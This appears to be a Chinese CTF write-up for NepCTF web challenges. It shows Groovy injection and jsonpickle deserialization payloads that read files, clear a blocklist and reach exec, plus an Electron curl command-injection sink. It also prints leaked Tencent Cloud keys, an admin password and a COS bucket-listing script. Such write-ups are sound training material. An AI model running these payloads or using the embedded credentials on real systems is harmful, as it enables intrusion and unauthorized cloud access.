nepnepctf复现

JavaSeri

传送门

工具一把梭掉了~~~

cool~

Apache Shiro 是一个强大易用的 Java 安全框架,提供了认证、授权、加密和会话管理等功能,对于任何一个应用程序,Shiro 都可以提供全面的安全管理服务。

在ApacheShiro<=1.2.4版本中AES加密时采用的key是硬编码在代码中的,于是我们就可以构造Remembe Me的值,然后让其反序列化执行。

(1)加密

1.用户使用账号密码进行登录,并勾选”Remember Me”。

2、Shiro验证用户登录信息,通过后,查看用户是否勾选了”Remember Me“。

3、若勾选,则将用户身份序列化,并将序列化后的内容进行AES加密,再使用base64编码。

4、最后将处理好的内容放于cookie中的rememberMe字段。

(2)解密

1、当服务端收到来自未经身份验证的用户的请求时,会在客户端发送请求中的cookie中获取rememberMe字段内容。

2、将获取到的rememberMe字段进行base64解码,再使用AES解密。

3、最后将解密的内容进行反序列化,获取到用户身份。

由于硬编码的不安全性,我们可以获取到key,实现任意构造,从而实现反序列化命令执行

当然一把梭工具的使用只是暂时的,相信我()

asyGooGooVVVY

这是两道 Groovy 表达式注入的题,由于未接触,随意找到的一篇文章的随意一个payload通杀了,实际利用的是反射?当然,解题只是过程,真正目的还是了解这个知识点,自己去理解该表达式注入问题~

Groovy是一种基于Java平台的动态语言,其设计目标是为Java开发者提供一种更简洁、高效和灵活的方式来编写代码

而注入问题往往出现在很多JAVA项目中都会使用Groovy来动态执行命令而未进行任何校验

Java反射来绕过:
1
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()

类加载器

1
this.class.classLoader.loadClass("java.lang.Runtime").getRuntime().exec("whoami").text
Groovy直接执行

Groovy原本也是一门语言,所以也可以直接使用Groovy语言支持的方法来直接执行命令,无需使用Java语言:

1
def command="whoami";def res=command.execute().text;res

更多的绕过?Groovy注入 - r_0xy - 博客园

RevengeGooGooVVVY

同上咯,反射调用没有被WAF掉~

safe_bank

借着这一道题,好好分析一下jsonpickle这个模块

肯定是不能混过去了()

1
2
jsonpickle can take almost any Python object and turn the object into JSON. Additionally, it can reconstitute the object back into Python.
The object must be accessible globally via a module and must inherit from object (AKA new-style classes).

涵盖了jsonpickle的作用,由于python中一切皆为对象,利用该模块,可以将python中的对象序列化成json格式,或者将json格式反序列化为对象
主要审的还是unpickler.py文件

多解:

审计源码,发现builtins->exceptions

审计源码,发现glob.glob可以通过newargsex得到回显,且可以

linecache.getlines

配合newargsex实现任意文件读取,关于linecache用法在lmtx网站有进一步拓展,借助任意读取拿到源码(不rce还是拿不到flag),拿到源码后知道黑名单名称,再main.XXX.clear完成置空啦

实操

1
2
3
4
5
6
7
8
9
import base64
import requests
url='https://nepctf31-x29x-mona-k1en-9gdih6dp6265.nepctf.com:443/panel'

authz="""{"py/object": "__main__.Session", "meta": {"user": "asdasd", "ts": 1754137614}}""".encode()
authz=base64.b64encode(authz).decode()
cookies={"authz":authz}
res=requests.get(url,cookies=cookies)
print(res.text)

改admin用户发现得到了一个fakeflag,关键还是在于利用jsonpickle模块的漏洞

发现可以操控user下的值实现回显

比如

{“py/object”: “main.Session”, “meta”: {“user”: {“py/function”:”main.app.config”}, “ts”: 1754137614}}

得到

1
&lt;Config {&#39;ENV&#39;: &#39;production&#39;, &#39;DEBUG&#39;: False, &#39;TESTING&#39;: False, &#39;PROPAGATE_EXCEPTIONS&#39;: None, &#39;SECRET_KEY&#39;: b&#39;\xbe\xf7[e\x88\x7f\xc1\xb0\xe4}c\x99\xaabQ\x84\n\xd2\xeb`\x1b\x12\xb2\xdd&#39;, &#39;PERMANENT_SESSION_LIFETIME&#39;: datetime.timedelta(days=31), &#39;USE_X_SENDFILE&#39;: False, &#39;SERVER_NAME&#39;: None, &#39;APPLICATION_ROOT&#39;: &#39;/&#39;, &#39;SESSION_COOKIE_NAME&#39;: &#39;session&#39;, &#39;SESSION_COOKIE_DOMAIN&#39;: False, &#39;SESSION_COOKIE_PATH&#39;: None, &#39;SESSION_COOKIE_HTTPONLY&#39;: True, &#39;SESSION_COOKIE_SECURE&#39;: False, &#39;SESSION_COOKIE_SAMESITE&#39;: None, &#39;SESSION_REFRESH_EACH_REQUEST&#39;: True, &#39;MAX_CONTENT_LENGTH&#39;: None, &#39;SEND_FILE_MAX_AGE_DEFAULT&#39;: None, &#39;TRAP_BAD_REQUEST_ERRORS&#39;: None, &#39;TRAP_HTTP_EXCEPTIONS&#39;: False, &#39;EXPLAIN_TEMPLATE_LOADING&#39;: False, &#39;PREFERRED_URL_SCHEME&#39;: &#39;http&#39;, &#39;JSON_AS_ASCII&#39;: None, &#39;JSON_SORT_KEYS&#39;: None, &#39;JSONIFY_PRETTYPRINT_REGULAR&#39;: None, &#39;JSONIFY_MIMETYPE&#39;: None, &#39;TEMPLATES_AUTO_RELOAD&#39;: None, &#39;MAX_COOKIE_SIZE&#39;: 4093}&gt;

实现若干泄露,但大体无用,无法实现RCE,实际做题时,一直这方面纠结

在这篇文章里:https://xz.aliyun.com/news/16133

了解了一些payload,但是毫无例外都被禁用

只有两条漏网之鱼

{‘py/object’: ‘linecache.getlines’, ‘py/newargs’: [‘/flag’]}

{‘py/object’: ‘glob.glob’, ‘py/newargs’: {‘/*’}}

但实际放入也无回显?

后续补充:

对于这两条payload,形式是正确的只是有几处要注意一下

  • 单引号无法被解析,需要换成双引号
  • 给newargs标签传入[]而非{},这也是我为什么实际做题时出错重要一点

因此,即

{“py/object”: “linecache.getlines”, “py/newargs”: [“/flag”]}

{“py/object”: “glob.glob”, “py/newargs”: [“/*”]}

放到user下也是可以正常回显的

以下也属于很大的绕弯吧()

根据大佬们的点拨,领会了newargs与newargsex标签的区别,如果使用newargsex标签且必须利用set传入数组方可正常回显

py/newargs

  • 设计目的:专门用于实现了__new__方法的新式类(new-style classes)
  • 数据结构:包含位置参数的数组
  • 调用方式cls.__new__(cls, *args)
  • 适用场景

python

1
2
3
4
5
6
7
8
9
10
11
12
13
# 新式类示例
class ImmutablePoint:
def __new__(cls, x, y):
obj = super().__new__(cls)
obj.x = x
obj.y = y
return obj

# 序列化结果
{
"py/object": "__main__.ImmutablePoint",
"py/newargs": [10, 20]
}

py/newargsex

  • 设计目的:专门用于旧式类(old-style classes)或需要特殊构造方式的对象
  • 数据结构:包含两个元素的数组 [args, kwargs]
    • args:位置参数数组
    • kwargs:关键字参数字典
  • 调用方式cls(*args, **kwargs)(直接调用类构造器)
  • 适用场景

python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 旧式类示例(Python 2风格)
class OldStylePoint:
def __init__(self, x, y):
self.x = x
self.y = y

# 序列化结果
{
"py/object": "__main__.OldStylePoint",
"py/newargsex": [
[10, 20], # 位置参数
{} # 空关键字参数
]
}

(不理解无碍,都试一遍就行)set标签的作用

1
2
3
4
5
def _restore_set(self, obj):
try:
return {self._restore(v) for v in obj[tags.SET]}
except TypeError:
return set()

当我用这样的payload,奇迹发生了

{“py/object”: “main.Session”, “meta”: {“user”: {“py/object”:””,”py/newargsex”:[{“py/set”:[“/*”],””]}, “ts”: 1754137614}}

1
[&#39;/run&#39;, &#39;/bin&#39;, &#39;/usr&#39;, &#39;/etc&#39;, &#39;/mnt&#39;, &#39;/home&#39;, &#39;/var&#39;, &#39;/srv&#39;, &#39;/sys&#39;, &#39;/proc&#39;, &#39;/sbin&#39;, &#39;/lib64&#39;, &#39;/media&#39;, &#39;/opt&#39;, &#39;/lib&#39;, &#39;/dev&#39;, &#39;/tmp&#39;, &#39;/boot&#39;, &#39;/root&#39;, &#39;/flag&#39;, &#39;/entrypoint.sh&#39;, &#39;/readflag&#39;, &#39;/app&#39;]

同理回头看一下另一个未被禁用的payload,如果顺利可以拿到源码了

{“py/object”: “main.Session”, “meta”: {“user”: {“py/object”:”linecache.getlines”,”py/newargsex”:[{“py/set”:[“/app/app.py”]},””]}, “ts”: 1754137614}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
from flask import Flask, request, make_response, render_template, redirect, url_for
import jsonpickle
import base64
import json
import os
import time

app = Flask(__name__)
app.secret_key = os.urandom(24)

class Account:
def __init__(self, uid, pwd):
self.uid = uid
self.pwd = pwd

class Session:
def __init__(self, meta):
self.meta = meta

users_db = [
Account("admin", os.urandom(16).hex()),
Account("guest", "guest")
]

def register_user(username, password):
for acc in users_db:
if acc.uid == username:
return False
users_db.append(Account(username, password))
return True

FORBIDDEN = [
'builtins', 'os', 'system', 'repr', '__class__', 'subprocess', 'popen', 'Popen', 'nt',
'code', 'reduce', 'compile', 'command', 'pty', 'platform', 'pdb', 'pickle', 'marshal',
'socket', 'threading', 'multiprocessing', 'signal', 'traceback', 'inspect', '\\\\', 'posix',
'render_template', 'jsonpickle', 'cgi', 'execfile', 'importlib', 'sys', 'shutil', 'state',
'import', 'ctypes', 'timeit', 'input', 'open', 'codecs', 'base64', 'jinja2', 're', 'json',
'file', 'write', 'read', 'globals', 'locals', 'getattr', 'setattr', 'delattr', 'uuid',
'__import__', '__globals__', '__code__', '__closure__', '__func__', '__self__', 'pydoc',
'__module__', '__dict__', '__mro__', '__subclasses__', '__init__', '__new__'
]

def waf(serialized):
try:
data = json.loads(serialized)
payload = json.dumps(data, ensure_ascii=False)
for bad in FORBIDDEN:
if bad in payload:
return bad
return None
except:
return "error"

@app.route('/')
def root():
return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
confirm_password = request.form.get('confirm_password')


if not username or not password or not confirm_password:
return render_template('register.html', error="所有字段都是必填的。")

if password != confirm_password:
return render_template('register.html', error="密码不匹配。")

if len(username) < 4 or len(password) < 6:
return render_template('register.html', error="用户名至少需要4个字符,密码至少需要6个字符。")

if register_user(username, password):
return render_template('index.html', message="注册成功!请登录。")
else:
return render_template('register.html', error="用户名已存在。")

return render_template('register.html')

@app.post('/auth')
def auth():
u = request.form.get("u")
p = request.form.get("p")
for acc in users_db:
if acc.uid == u and acc.pwd == p:
sess_data = Session({'user': u, 'ts': int(time.time())})
token_raw = jsonpickle.encode(sess_data)
b64_token = base64.b64encode(token_raw.encode()).decode()
resp = make_response("登录成功。")
resp.set_cookie("authz", b64_token)
resp.status_code = 302
resp.headers['Location'] = '/panel'
return resp
return render_template('index.html', error="登录失败。用户名或密码无效。")

@app.route('/panel')
def panel():
token = request.cookies.get("authz")
if not token:
return redirect(url_for('root', error="缺少Token。"))


try:
decoded = base64.b64decode(token.encode()).decode()
except:
return render_template('error.html', error="Token格式错误。")

ban = waf(decoded)
if waf(decoded):
return render_template('error.html', error=f"请不要黑客攻击!{ban}")

try:
sess_obj = jsonpickle.decode(decoded, safe=True)
meta = sess_obj.meta

if meta.get("user") != "admin":
return render_template('user_panel.html', username=meta.get('user'))

return render_template('admin_panel.html')
except Exception as e:
return render_template('error.html', error=f"数据解码失败。")

@app.route('/vault')
def vault():
token = request.cookies.get("authz")
if not token:
return redirect(url_for('root'))

try:
decoded = base64.b64decode(token.encode()).decode()
if waf(decoded):
return render_template('error.html', error="请不要尝试黑客攻击!")
sess_obj = jsonpickle.decode(decoded, safe=True)
meta = sess_obj.meta

if meta.get("user") != "admin":
return render_template('error.html', error="访问被拒绝。只有管理员才能查看此页面。")

flag = "NepCTF{fake_flag_this_is_not_the_real_one}"

return render_template('vault.html', flag=flag)
except:
return redirect(url_for('root'))

@app.route('/about')
def about():
return render_template('about.html')

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000, debug=False)

json.loads这一步操作直接干废了硬编码绕过()哎

知道了黑名单我们可以尝试clear这个函数了,直接清空

{“py/object”:”main.FORBIDDEN.clear”}

这个时候可以直接

{“py/object”:”builtins.exec”,”py/newargs”:”payload”}

无回显渲染文件随便打了,拿flag

另一个思路源自审计源码

发现调用了这个函数util.untranslate_module_name


跟进发现

相比聪明的你发现了禁用了builtins但是没有禁用exceptions

直接RCE了()

fakexss

该题给了一个客户端和一个exe文件,主要思路是用7-z对该exe文件进行解包,然后找到app.asar文件放到解包工具拿到源码

main.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
const { app, BrowserWindow, ipcMain } = require('electron');
const path = require('path');
const { exec } = require('child_process');

let mainWindow = null;

function createWindow() {
mainWindow = new BrowserWindow({
width: 1600,
height: 1200,
webPreferences: {
preload: path.join(__dirname, 'preload.js'),
contextIsolation: true,
}
});

// 默认加载本地输入页面
mainWindow.loadFile('index.html');
}

app.whenReady().then(createWindow);

// 接收用户输入的地址并加载它
ipcMain.handle('load-remote-url', async (event, url) => {

if (mainWindow) {
mainWindow.loadURL(url);
}
});

ipcMain.handle('curl', async (event, url) => {
return new Promise((resolve) => {

const cmd = `curl -L "${url}"`;

exec(cmd, (error, stdout, stderr) => {
if (error) {
return resolve({ success: false, error: error.message });
}
resolve({ success: true, data: stdout });
});
});
});

preload.js

1
2
3
4
5
6
const { contextBridge, ipcRenderer } = require('electron');

contextBridge.exposeInMainWorld('electronAPI', {
loadRemoteURL: (url) => ipcRenderer.invoke('load-remote-url', url),
curl : (url) => ipcRenderer.invoke('curl', url)
});

package.json

1
2
3
4
5
{
"name": "client-app",
"version": "1.0.0",
"main": "main.js"
}

index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>输入远程地址</title>
<style>
body { font-family: sans-serif; text-align: center; margin-top: 100px; }
input { padding: 8px; width: 60%; }
button { padding: 8px 16px; margin-left: 10px; }
</style>
</head>
<body>
<h1>请输入远程靶机地址来访问</h1>
<input id="remoteInput" type="text" placeholder="例如:http://localhost:3000" />
<button onclick="submit()">前往</button>

<script>
function submit() {
const input = document.getElementById('remoteInput').value.trim();
if (input) {
window.electronAPI.loadRemoteURL(input);
} else {
alert('请输入有效的地址');
}
}
</script>
</body>
</html>

于此同时我们看看客户端,存在一个登录框,随便输进去(存在admin用户?)

打开网页源代码,拿到接口

/api/avatar-credentials

随便截取一小段,什么,凭证?云?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
   console.error('设置背景失败:', error);
alert('设置背景失败');
}
}

// 获取文件上传凭证
async function getFileCredentials() {
try {
const response = await fetch(server+'/api/file-credentials');
return await response.json();
} catch (error) {
console.error('获取文件凭证失败:', error);
return null;
}
}

// 管理员功能 - 处理文件上传
async function handleFileUpload(event) {
const file = event.target.files[0];
if (!file) return;

// 检查文件大小(限制为5MB)
if (file.size > 5 * 1024 * 1024) {
alert('文件大小不能超过5MB');
return;
}

// 显示上传状态
fileUploadStatus.classList.remove('hidden');
fileUploadText.textContent = `正在上传: ${file.name}`;

try {
// 获取临时凭证
const credentials = await getFileCredentials();
if (!credentials) {
throw new Error('获取凭证失败');
}

// 初始化 COS SDK
const cos = new COS({
getAuthorization: function(options, callback) {
const credentialsWithExpiry = {
...credentials,
ExpiredTime: Math.floor(Date.now() / 1000) + 7200 // 当前时间 + 2小时
};

callback({
TmpSecretId: credentialsWithExpiry.TmpSecretId,
TmpSecretKey: credentialsWithExpiry.TmpSecretKey,
XCosSecurityToken: credentialsWithExpiry.Token,
ExpiredTime: credentialsWithExpiry.ExpiredTime
});
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
async function saveBio() {
const bio = document.getElementById('profileBio').value;
try {
const response = await fetch(server+'/api/save-bio', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ bio })
});
const data = await response.json();
if (data.success) {
uploadStatus.textContent = '个人简介已保存';
uploadStatus.className = 'mt-2 text-sm text-success';
setTimeout(() => {
uploadStatus.textConten

还发现这么一个接口

还有一些接口,等会再说吧

先试试是否拿到凭证

拿到~

发现是CAM,腾讯云

1
{"Token":"vihAq3WZnC5D4386DcFhDRst2TpEzBiad0548517f4d8333b241816c7f2d5c4c8zgbWAQAeji4_wqTYKhjj_oPtoDyYJkJyCnukKHM0jxqalohk6jygMHmZdCyZw8Dv91zqw_5kL308TkgcxWknnnBGLZHqMb6zfyk0zTGCblEklGrg-WdDdcS3TkXFyHexlPB27i8RTMtedVuKnG03ZILvB2Xb2FhKJihsPeOBBkMrMUo1Z30B7RwKsWaETemts6VVQNs1mDMf3D2T2Gc90fyNn9dKYmzirOkGDGX5gYauC8hjToK_lqvOzomO1Bk7tazCCfGRE2P0J1rhA6H22y0H-re3m9RIFjGVVpfU11Dw9y9PxdDffoX49U2BXHX8DSqMtXzXDbqyEoAEUysYSL2OwYD3nYMGF_aODOu6ykBtWimItK7Y-b9vKHwXpR5jHIkVHzmigr-stPE5TPogKwA5hAZ1sZReDBxIcs6N5XER3c7buTSuy2UvvmK1Nk204eqfITEj3P237SYi8y1V5Q","TmpSecretId":"AKIDEyXie6dtIDBZUIQoHdeEEPL16jEczDj0affEDTHHQoj2rHnPOSWpzCoxeWe8vlkJ","TmpSecretKey":"1ucvNBHZP3sYGn00htb+DELvjuTahIQaCQWqBlEVDVM=","auth":"IntcInZlcnNpb25cIjpcIjIuMFwiLFwic3RhdGVtZW50XCI6W3tcImVmZmVjdFwiOlwiYWxsb3dcIixcImFjdGlvblwiOltcImNvczpQdXRPYmplY3RcIl0sXCJyZXNvdXJjZVwiOltcInFjczo6Y29zOmFwLWd1YW5nemhvdTp1aWQvMTM2MDgwMjgzNDp0ZXN0LTEzNjA4MDI4MzQvcGljdHVyZS80MzQzZGY1YS0xNGJmLTQxOGUtYjI5Yi0wZjRmYWVjNDBmZmYucG5nXCJdLFwiQ29uZGl0aW9uXCI6e1wibnVtZXJpY19lcXVhbFwiOntcImNvczpyZXF1ZXN0LWNvdW50XCI6NX0sXCJudW1lcmljX2xlc3NfdGhhbl9lcXVhbFwiOntcImNvczpjb250ZW50LWxlbmd0aFwiOjEwNDg1NzYwfX19LHtcImVmZmVjdFwiOlwiYWxsb3dcIixcImFjdGlvblwiOltcImNvczpHZXRCdWNrZXRcIl0sXCJyZXNvdXJjZVwiOltcInFjczo6Y29zOmFwLWd1YW5nemhvdTp1aWQvMTM2MDgwMjgzNDp0ZXN0LTEzNjA4MDI4MzQvKlwiXX1dfSI="}

解码一下可以看到权限()

换个python2

ai错脚本进行连接感觉python稳定一点()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# -*- coding: utf-8 -*-
import base64
import json
import os
from qcloud_cos import CosConfig, CosS3Client

# 临时密钥(注意:实际使用需替换为有效密钥)

# 解析权限策略
auth_policy = base64.b64decode("IntcInZlcnNpb25cIjpcIjIuMFwiLFwic3RhdGVtZW50XCI6W3tcImVmZmVjdFwiOlwiYWxsb3dcIixcImFjdGlvblwiOltcImNvczpQdXRPYmplY3RcIl0sXCJyZXNvdXJjZVwiOltcInFjczo6Y29zOmFwLWd1YW5nemhvdTp1aWQvMTM2MDgwMjgzNDp0ZXN0LTEzNjA4MDI4MzQvcGljdHVyZS80MzQzZGY1YS0xNGJmLTQxOGUtYjI5Yi0wZjRmYWVjNDBmZmYucG5nXCJdLFwiQ29uZGl0aW9uXCI6e1wibnVtZXJpY19lcXVhbFwiOntcImNvczpyZXF1ZXN0LWNvdW50XCI6NX0sXCJudW1lcmljX2xlc3NfdGhhbl9lcXVhbFwiOntcImNvczpjb250ZW50LWxlbmd0aFwiOjEwNDg1NzYwfX19LHtcImVmZmVjdFwiOlwiYWxsb3dcIixcImFjdGlvblwiOltcImNvczpHZXRCdWNrZXRcIl0sXCJyZXNvdXJjZVwiOltcInFjczo6Y29zOmFwLWd1YW5nemhvdTp1aWQvMTM2MDgwMjgzNDp0ZXN0LTEzNjA4MDI4MzQvKlwiXX1dfSI=").decode('utf-8')
print("权限策略内容:")
print(json.dumps(json.loads(auth_policy), indent=2))
credentials = {
"Token":"xOeKVwwl6xMKLbdk77keTdOPY7U9GEmab2f255dc18c596bc66f1bd850bf8e4adJCQ_aZM-qpccNjES2zRFAtlPWhCIMMOo6x0Wn9UA349nvoJ4QurcneBOV893eIwIa0YWO0Bphoijd0webXwLBnqn3QL5Bgqmrsfi4zVGYnpWI46rmS_KCQlvVM4Fvr--RoUykMDMJ9RkFg7A2RoeQZceMtU5QaKZJlpFs9-5e7qliCpzFo_0X_k5q8BkTCIMvAfBzTly8H27wuNbPP0ghlyimJHytoOiAopxXXxQp-aiN8xnjYvaS3XBIjhI7kzMUC4JjE1803ffIh5heidCoyW_LeW11PfIRISAaVbgqAXjoT2dYBaQSGoofHx4djtr51koHk-Ok0gsSVpVSbQhO24ddPgiaHGiq5XlQmZiLJX5L1pZOQgg7CXaWTPlRDR0GwxZ0x71Az93ykzAt52r4ZAD1p1qtzN9yewwhTuEz-b08YcM7kzbk36BfkmeF2d68cgx4ZDBu6Br6NRsAUcyHQ",
"TmpSecretId":"AKIDmoBMNPt514uk4hgbHZTNvoUBufNU5nbsR0XJhJB3YGDuarh6MpdYy4yHkxQblK6d",
"TmpSecretKey":"JrKnOrTle28wDCKwvzpVzqWcC3QO/lKVkrdKdJgSi3w="
}
# 配置COS客户端
region = 'ap-guangzhou'
config = CosConfig(
Region=region,
SecretId=credentials["TmpSecretId"],
SecretKey=credentials["TmpSecretKey"],
Token=credentials["Token"]
)

# 初始化客户端
client = CosS3Client(config)

# 存储桶和文件路径(建议修改Key为文本文件路径,避免覆盖)
bucket_name = "test-1360802834"
allowed_file_key = "picture/test_upload.txt" # 修正为文本文件路径,避免覆盖PNG

def upload_sample_file():
"""上传测试文件"""
try:
test_content = "This is a test file uploaded via temporary credentials"
with open("test_upload.txt", "w") as f:
f.write(test_content)

response = client.upload_file(
Bucket=bucket_name,
LocalFilePath="test_upload.txt",
Key=allowed_file_key
)
print("\n文件上传成功!ETag:", response['ETag'])
print("文件位置: cos://{0}/{1}".format(bucket_name, allowed_file_key))

except Exception as e:
print("上传失败:", str(e))

def list_bucket_contents():
"""列出存储桶内容"""
try:
response = client.list_objects(
Bucket=bucket_name,
MaxKeys=1000
)
if 'Contents' in response:
print("\n存储桶内容列表:")
for obj in response['Contents']:
# 修正f-string为format语法
print("- {0} (Size: {1} bytes)".format(obj['Key'], obj['Size']))
else:
print("存储桶为空")
except Exception as e:
print("列表请求失败:", str(e))

if __name__ == "__main__":
upload_sample_file()
list_bucket_contents()

直接拿到所有文件,在末尾出现好东西

1
2
3
www/ (Size: 0 bytes)
- www/flag.txt (Size: 35 bytes)
- www/server_bak.js (Size: 8912 bytes)

直接url读了嘿嘿

https://test-1360802834.cos.ap-guangzhou.myqcloud.com/www/flag.txt

1
fake{看看www/server_bak.js对象}

得嘞假的,看看网页源码吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
const express = require('express');
const session = require('express-session');
const bodyParser = require('body-parser');
const crypto = require('crypto');
const tencentcloud = require("tencentcloud-sdk-nodejs");
const path = require('path');
const fs = require('fs');
const { v4: uuidv4 } = require('uuid');
const { execFile } = require('child_process');
const he = require('he');


const app = express();
const PORT = 3000;

app.use((req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
res.setHeader('Access-Control-Allow-Credentials', 'true');
next();
});

// 配置会话
app.use(session({
secret: 'ctf-secret-key_023dfpi0e8hq',
resave: false,
saveUninitialized: true,
cookie: { secure: false , httpOnly: false}
}));

app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));

// 用户数据库
const users = {'admin': { password: 'nepn3pctf-game2025', role: 'admin', uuid: uuidv4(), bio: '' }};
// 存储登录页面背景图片 URL
let loginBgUrl = '';

// STS 客户端配置
const StsClient = tencentcloud.sts.v20180813.Client;
const clientConfig = {
credential: {
secretId: "AKIDRaszDXeZJin6JHbjeOjLQL3Yp4EAvR",
secretKey: "NXUDi2B7rONBU8IF4pZ9d9AndjSzKRN6",
},
region: "ap-guangzhou",
profile: {
httpProfile: {
endpoint: "sts.tencentcloudapi.com",
},
},
};
const client = new StsClient(clientConfig);

// 注册接口
app.post('/api/register', (req, res) => {
const { username, password } = req.body;
if (users[username]) {
return res.status(409).json({ success: false, message: '用户名已存在' });
}
const uuid = uuidv4();
users[username] = { password, role: 'user', uuid, bio: '' };
res.json({ success: true, message: '注册成功' });
});

// 登录页面
app.get('/', (req, res) => {
let loginHtml = fs.readFileSync(path.join(__dirname, 'public', 'login.html'), 'utf8');
if (loginBgUrl) {
const key = loginBgUrl.replace('/uploads/', 'uploads/');
const fileUrl = `http://ctf.mudongmudong.com/${key}`;

const iframeHtml = `<iframe id="backgroundframe" src="${fileUrl}" style="position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: -1; border: none;"></iframe>`;
loginHtml = loginHtml.replace('</body>', `${iframeHtml}</body>`);
}
res.send(loginHtml);
});



// 登录接口
app.post('/api/login', (req, res) => {
const { username, password } = req.body;
const user = users[username];

if (user && user.password === password) {
req.session.user = { username, role: user.role, uuid: user.uuid };
res.json({ success: true, role: user.role });
} else {
res.status(401).json({ success: false, message: '认证失败' });
}
});

// 检查用户是否已登录
function ensureAuthenticated(req, res, next) {
if (req.session.user) {
next();
} else {
res.status(401).json({ success: false, message: '请先登录' });
}
}

// 获取用户信息
app.get('/api/user', ensureAuthenticated, (req, res) => {
const user = users[req.session.user.username];
res.json({ username: req.session.user.username, role: req.session.user.role, uuid: req.session.user.uuid, bio: user.bio });
});

// 获取头像临时密钥
app.get('/api/avatar-credentials', ensureAuthenticated, async (req, res) => {
const params = {
Policy: JSON.stringify({
version: "2.0",
statement: [
{
effect: "allow",
action: ["cos:PutObject"],
resource: [
`qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/picture/${req.session.user.uuid}.png`
],
Condition: {
numeric_equal: {
"cos:request-count": 5
},
numeric_less_than_equal: {
"cos:content-length": 10485760 // 10MB 大小限制
}
}
},
{
effect: "allow",
action: ["cos:GetBucket"],
resource: [
"qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/*"
]
}
]
}),
DurationSeconds: 1800,
Name: "avatar-upload-client"
};

try {
const response = await client.GetFederationToken(params);
const auth = Buffer.from(JSON.stringify(params.Policy)).toString('base64');
res.json({ ...response.Credentials, auth });
} catch (err) {
console.error("获取头像临时密钥失败:", err);
res.status(500).json({ error: '获取临时密钥失败' });
}
});

// 获取文件上传临时密钥(管理员)
app.get('/api/file-credentials', ensureAuthenticated, async (req, res) => {
if (req.session.user.role !== 'admin') {
return res.status(403).json({ error: '权限不足' });
}

const params = {
Policy: JSON.stringify({
version: "2.0",
statement: [
{
effect: "allow",
action: ["cos:PutObject"],
resource: [
`qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/uploads/${req.session.user.uuid}/*`
],
Condition: {
numeric_equal: {
"cos:request-count": 5
},
numeric_less_than_equal: {
"cos:content-length": 10485760
}
}
},
{
effect: "allow",
action: ["cos:GetBucket"],
resource: [
"qcs::cos:ap-guangzhou:uid/1360802834:test-1360802834/*"
]
}
]
}),
DurationSeconds: 1800,
Name: "file-upload-client"
};

try {
const response = await client.GetFederationToken(params);
const auth = Buffer.from(JSON.stringify(params.Policy)).toString('base64');
res.json({ ...response.Credentials, auth });
} catch (err) {
console.error("获取文件临时密钥失败:", err);
res.status(500).json({ error: '获取临时密钥失败' });
}
});

// 保存个人简介(做好 XSS 防护)
app.post('/api/save-bio', ensureAuthenticated, (req, res) => {
const { bio } = req.body;
const sanitizedBio = he.encode(bio);
const user = users[req.session.user.username];
user.bio = sanitizedBio;
res.json({ success: true, message: '个人简介保存成功' });
});

// 退出登录
app.post('/api/logout', ensureAuthenticated, (req, res) => {
req.session.destroy();
res.json({ success: true });
});

// 设置登录页面背景
app.post('/api/set-login-bg', ensureAuthenticated, async (req, res) => {
